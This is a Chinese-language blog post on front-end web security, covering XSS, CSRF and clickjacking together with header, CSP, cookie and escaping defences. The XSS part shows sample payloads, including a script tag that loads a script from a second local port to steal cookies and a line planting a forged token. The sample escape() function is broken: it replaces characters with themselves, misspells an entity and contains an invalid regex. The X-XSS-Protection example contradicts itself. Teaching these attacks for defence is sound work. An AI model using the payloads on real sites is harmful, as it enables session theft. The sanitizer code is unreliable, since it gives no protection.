xss 攻击：
XSS (Cross-Site Scripting)，跨站脚本攻击，因为缩写和 CSS重叠，所以只能叫 XSS。跨站脚本攻击是指通过存在安全漏洞的Web⽹站注册⽤户的浏览器内运⾏⾮法的⾮本站点HTML标签或JavaScript进⾏的⼀种攻击。
就好比你的一些输入框没有做操作，我输入一段脚本，这个时候你表示这段文字正常，你就存到库里了，当其他地方用到时候，调取该库里数据时，数据返回到界面这个时候会执行你存的代码，执行代码，这个时候你的网站信息可能会被盗取。
造成的影响：
- 利用虚拟输入表单骗取用户个人信息。
- 利用脚本窃取用户的cookie值，被害这在不知情的情况下，帮助攻击者发送恶意请求。
- 显示伪造的文章或图片
例如：
http://locahost:3000/?form = <script>alert(1111)</script>
http://localhost:3000/?from=<script src="http://localhost:4000/demo.js"></script>(此时获取cookie,token值)
document.cookie = "token=472f2cd544f7ca9a386d603a7a381d4f7eda45df59b0db6c770b0142926b2d45"
(伪造token入侵)
Xss 防御：
ejs 转译：
<% code %> 用于执行其中的javascript代码 <% =code %> 对code 进行html转译 <%- code %>将不会进行转译
HEAD:
ctx.set("X-XSS-Protection", 0) // 禁止 xss 过滤
http://locahost:3000/?form = <script>alert(1111)</script> 这种就可拦截
1 ：启⽤XSS过滤（通常浏览器是默认的）。 如果检测到跨站脚本攻击，浏览器将清除⻚⾯（删除不安全的部分）。
1：mode=block 启⽤XSS过滤。 如果检测到攻击，浏览器将不会清除⻚⾯，⽽是阻⽌⻚⾯加载。
1：report= (Chromium only)启⽤XSS过滤。 如果检测到跨站脚本攻击，浏览器将清除⻚⾯并使⽤CSP report-uri 指令的功能发送违规报告。
CSP:
附加安全层，用于检测缓解某些类型的攻击，包括跨站脚本和数据注入等攻击，这些攻击用于事项数据窃取到网站破坏或作为恶意软件等用途。
// 只允许加载本站资源 Content-Security-Policy: default-src 'self' // 只允许加载 HTTPS 协议图⽚ Content-Security-Policy: img-src https://* // 不允许加载任何来源框架 Content-Security-Policy: child-src 'none'
转译字符：
对于输入的永远改成信任字符，进行转译，对于引号、斜杠、进行转译。
function escape(str) { str = str.replace(/&/g, '&') str = str.replace(/</g, '<') str = str.replace(/>/g, '>') str = str.replace(/"/g, '&quto;') str = str.replace(/'/g, ''') str = str.replace(/`/g, '`') str = str.replace(///g, '/') return str }
HttpOnlyCookie:
这是预防XSS攻击窃取⽤户cookie最有效的防御⼿段。Web应 ⽤程序在设置cookie时，将其属性设为HttpOnly，就可以避免该⽹⻚的cookie被客户端恶意JavaScript窃取，保护⽤户cookie信息。
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")
CSRF 攻击：
CSRF(Cross Site Request Forgery)，即跨站请求伪造，是⼀种常⻅的Web攻击，它利⽤⽤户已登
录的身份，在⽤户毫不知情的情况下，以⽤户的名义完成⾮法操作。
造成的影响：
- ⽤户已经登录了站点 A，并在本地记录了 cookie
- 在⽤户没有登出站点 A 的情况下（也就是 cookie ⽣效的情况下），访问了恶意攻击者提供的引诱危险站点 B (B 站点要求访问站点A)。
- 站点 A 没有做任何 CSRF 防御
就好比你自己登陆了下自己的网站，这个时候你好奇点击了其他网站的一张图片，这个时候你的cookie 是存在的，你的token也是有的，这个时候别人就能模拟的身份做一些事情。
CSRF 防御：
- 禁止第三方网站携带Cookie
- Referer Check - Https不发送referer
app.use(async (ctx, next) => { await next() const referer = ctx.request.header.referer console.log('Referer:', referer) }) - 验证码
点击劫持
点击劫持是⼀种视觉欺骗的攻击⼿段。攻击者将需要攻击的⽹站通过 iframe 嵌套的⽅式嵌⼊⾃⼰的⽹⻚中，并将 iframe 设置为透明，在⻚⾯中透出⼀个按钮诱导⽤户点击。
可以理解成就是钓鱼网站，就是你提交的并非是你自己的网址。
点击劫持防御
1、X-FRAME-OPTIONS
X-FRAME-OPTIONS 是⼀个 HTTP 响应头，在现代浏览器有⼀个很好的⽀持。这个 HTTP 响应头 就是为了防御⽤ iframe 嵌套的点击劫持攻击。
该响应头有三个值可选，分别是
DENY，表示⻚⾯不允许通过 iframe 的⽅式展示
SAMEORIGIN，表示⻚⾯可以在相同域名下通过 iframe 的⽅式展示
ALLOW-FROM，表示⻚⾯可以在指定来源的 iframe 中展示
ctx.set('X-FRAME-OPTIONS', 'DENY')
2、js方式
<head> <style id="click-jack"> html { display: none !important; } </style> </head> <body> <script> if (self == top) { var style = document.getElementById('click-jack') document.body.removeChild(style) } else { top.location = self.location } </script> </body
以上代码的作⽤就是当通过 iframe 的⽅式加载⻚⾯时，攻击者的⽹⻚直接不显示所有内容了。
总结：
基本上前端攻击就这几个，前端其实做到到的绝对安全暂时没有那么绝对，只是相对安全。但是前端防护还是要做的，我们项目中曾经有个漏洞，Xss 攻击可以直接提交到后台，但是后台也没有做屏蔽，倒是还好我们及时发现做了漏洞补充。
欢迎您点赞关注。